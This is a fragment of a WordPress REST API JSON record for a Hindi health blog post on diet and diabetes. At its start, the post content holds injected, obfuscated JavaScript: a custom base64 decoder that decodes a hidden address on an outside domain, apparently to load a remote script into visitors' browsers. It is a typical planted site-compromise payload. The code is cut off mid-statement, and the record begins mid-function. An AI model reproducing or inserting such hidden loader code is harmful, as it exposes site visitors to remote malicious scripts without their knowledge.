key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new 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\u0932\u0947\u0928\u0947 \u0915\u094b \u0915\u0939\u093e \u0917\u092f\u093e \u0939\u0948 \u0964 \u0938\u093e\u0925 \u0939\u0940 \u091c\u0947\u0938\u094d\u091f\u0947\u0936\u0928\u0932 \u0921\u093e\u092f\u092c\u0940\u091f\u0940\u091c \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092d\u0940 \u0921\u093e\u0907\u091f \u092e\u0947\u0902 \u0915\u0947\u0932\u0947 \u0915\u094b \u0936\u093e\u092e\u093f\u0932&#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3147],"tags":[],"_links":{"self":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/8971"}],"collection":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/comments?post=8971"}],"version-history":[{"count":5,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/8971\/revisions"}],"predecessor-version":[{"id":13678,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/8971\/revisions\/13678"}],"wp:attachment":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/media?parent=8971"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/categories?post=8971"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/tags?post=8971"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}